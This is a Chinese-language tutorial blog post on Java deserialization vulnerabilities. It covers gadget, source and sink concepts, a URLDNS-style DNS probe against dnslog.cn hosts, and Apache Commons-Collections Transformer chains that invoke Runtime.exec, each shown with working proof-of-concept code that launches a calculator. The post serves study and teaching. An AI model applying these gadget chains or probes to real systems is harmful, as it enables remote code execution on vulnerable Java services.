Java反序列化

目录

序列化:对象转成字符串 java.io.ObjectOutputStream writeObject(用来将一个对象写入输出流中)

反序列化:字符串转对象 java.io.ObjectInputStream readObject(恢复)

  • gadgets 类必须实现 Serializable/Externalizable 接口( Externalizable 也是实现了 Serializable 接口)
  • source点: “kick-off” gadget,在反序列化过程中或反序列化之后会执行;
  • sink点:结束时 “sink” gadget,执行任意的代码或者命令的类;
  • chain:中间是很多 chain gadget,能将开头的 “kick-off” gadget 和 “sink” gadget 连起来,形成 chain 形的调用(中间调用链)

反序列化前提:实现了 Serializable 接口、重写了 readObject 方法,比如:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
package com.example.springdemo.test;

import java.io.IOException;
import java.io.Serializable;

public class Person implements Serializable {

    private String name;

    private int age;

    public Person(String name, int age) {
        this.name = name;
        this.age = age;
    }

    private void readObject(java.io.ObjectInputStream in) throws ClassNotFoundException, IOException {
        Runtime.getRuntime().exec("open -a Calculator.app");
    }

}

反序列化就能执行命令

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
package com.example.springdemo.test;

import java.io.*;

public class SerializableTest {

    public static void main(String[] args) throws IOException, ClassNotFoundException {
        Person person = new Person("zhangsan", 24);

        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("abc.txt"));
        oos.writeObject(person);
        oos.close();


        FileInputStream fis = new FileInputStream("abc.txt");
        ObjectInputStream ois = new ObjectInputStream(fis);
        ois.readObject();
        ois.close();
    }
}

为什么能执行命令,因为readObject最后是反射invoke执行对象

DNS 解析,探测是否存在反序列化漏洞

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
package com.example.springdemo.test;

import java.io.*;
import java.net.URL;

public class SerializableTest {

    public static void main(String[] args) throws IOException, ClassNotFoundException {
        URL url = new URL("http://cncr5q.dnslog.cn");
        URL url2 = new URL("http://tresd3.dnslog.cn");
        //url.equals(url2);
        url.hashCode();
    }
}
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
package com.example.springdemo.test;

import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class SerializableTest {

    public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {

        HashMap<URL, Integer> hashMap = new HashMap<URL, Integer>(); //HashMap重写了readObject、接口Serializable

        URL url = new URL("http://ykx1fk.dnslog.cn");
        Class c = Class.forName("java.net.URL");
        Field f = c.getDeclaredField("hashCode");
        f.setAccessible(true);
        f.set(url,123);

        hashMap.put(url,123);

        f.set(url, -1);

        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("abc.txt"));
        oos.writeObject(hashMap);
        oos.close();


        FileInputStream fis = new FileInputStream("abc.txt");
        ObjectInputStream ois = new ObjectInputStream(fis);
        ois.readObject();
        ois.close();

    }
}

ObjectInputStream > readObject

HashMap 重写了 readObject,readObject实现sink点(执行hashCode)

内存 到 磁盘

  • 抽象类 org.apache.commons.collections.map.AbstractMapDecorator,是 Map 的扩展,给Map提供附加功能(装饰器:动态给对象添加新功能而不改变其原有结构的设计模式),所有的操作都转发给这个 Map;实现类有很多(各个类触发的方式不同),重点关注 TransformedMap、LazyMap

    • org.apache.commons.collections.map.TransformedMap
      • 当元素加入集合内时,自动对元素修饰变换(变换逻辑由 Transformer 来定义,Transformer 在 TransformedMap 实例化时作为参数传入)当 TransformedMap 内的 key 或者 value 发生变化时(例如调用 TransformedMap 的 put 方法时),就会触发相应参数的 Transformer 的 transform() 方法。
      • /posts/deserialization/1626657477238.png
        img
    • org.apache.commons.collections.map.LazyMap,与 TransformedMap 类似
      • 差异是调用 get() 方法时如果传入的 key 不存在,则会触发相应参数的 Transformer 的 transform() 方法。
    • org.apache.commons.collections.map.DefaultedMap,与 LazyMap 具有相同功能的,是同样是 get() 方法会触发 transform() 方法。
  • org.apache.commons.collections.Transformer接口,提供了transform() 方法(用来定义具体的转换逻辑),方法接收 Object 类型的 input,处理后将 Object 返回。3.2.1 中提供了 14 个 Transformer 的实现类(用来实现不同的对 TransformedMap 中 key/value 进行修改的功能)重点关注其中几个实现类InvokerTransformer、ChainedTransformer、ConstantTransformer

    • /posts/deserialization/1626658616554.png
      img

    • org.apache.commons.collections.functors.InvokerTransformer 从 3.0 引入,功能是使用反射创建一个新对象

      • /posts/deserialization/1626659439242.png
        img

      • 调用需要的参数 iMethodName、iParamTypes 是在 InvokerTransformer 的构造函数中传入。这样我们就可以使用 InvokerTransformer 来执行方法,测试代码:

      • 1
        2
        3
        
        // InvokerTransformer 弹计算器测试
        Transformer transformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator.app"});
        transformer.transform(Runtime.getRuntime());
        
    • org.apache.commons.collections.functors.ChainedTransformer

      • 这个类自己维护了一个 Transformer 数组, 在调用 ChainedTransformer 的 transform 方法时,会循环数组,依次调用 Transformer 数组中每个 Transformer 的 transform 方法,并将结果传递给下一个 Transformer。
      • /posts/deserialization/1626665059905.png
        img
    • org.apache.commons.collections.functors.ConstantTransformer

      • 返回固定常量的 Transformer,在初始化时储存了一个 Object,后续的调用时会直接返回这个 Object。
      • ConstantTransformer 和 ChainedTransformer 配合,将其结果传入 InvokerTransformer 来调用我们指定的类的指定方法。

如执行 Runtime.getRuntime().exec("open -a Calculator.app")。按照需求对其进行拆分,这里使用 TransformedMap 触发,实例代码如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
// 结合 ChainedTransformer
ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
		new ConstantTransformer(Runtime.class),
		new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
		new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
		new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator.app"})
});


Map map2 = TransformedMap.decorate(hashMap, chain, null);
map2.put(10, "aaa");
来发评论吧~
Powered By Valine
v1.5.0